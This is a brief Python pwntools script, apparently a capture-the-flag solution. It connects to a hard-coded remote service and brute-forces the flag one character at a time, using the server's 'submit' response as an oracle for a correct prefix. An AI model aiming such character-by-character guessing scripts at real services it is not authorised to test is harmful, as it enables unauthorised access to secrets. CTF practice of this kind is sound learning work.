#!/usr/bin/env python
from pwn import *
import string
import time

whole_flag = ""
isCorrect = False

def exp(flag):
    global whole_flag
    global isCorrect
    p = remote('106.75.8.230', 13349)
    p.recvuntil("YOUR NAME:")
    p.sendline('aaa')
    p.recvuntil("again?\n")
    p.sendline('aaa')
    p.recvuntil("FLAG: ")
    p.sendline(flag)
    result = p.recv()
    if result.find("submit")>=0:
        whole_flag = flag
        isCorrect = True
        print "letter:", flag,
    p.close()

#exp(whole_flag)
while len(whole_flag) < 20:
    isCorrect = False
    for i in string.ascii_letters+string.digits+'{_}':
        exp(whole_flag+i)
        time.sleep(0.5)
        if isCorrect == True:
            break
    if not isCorrect:
        print whole_flag
        break

print "flag", whole_flag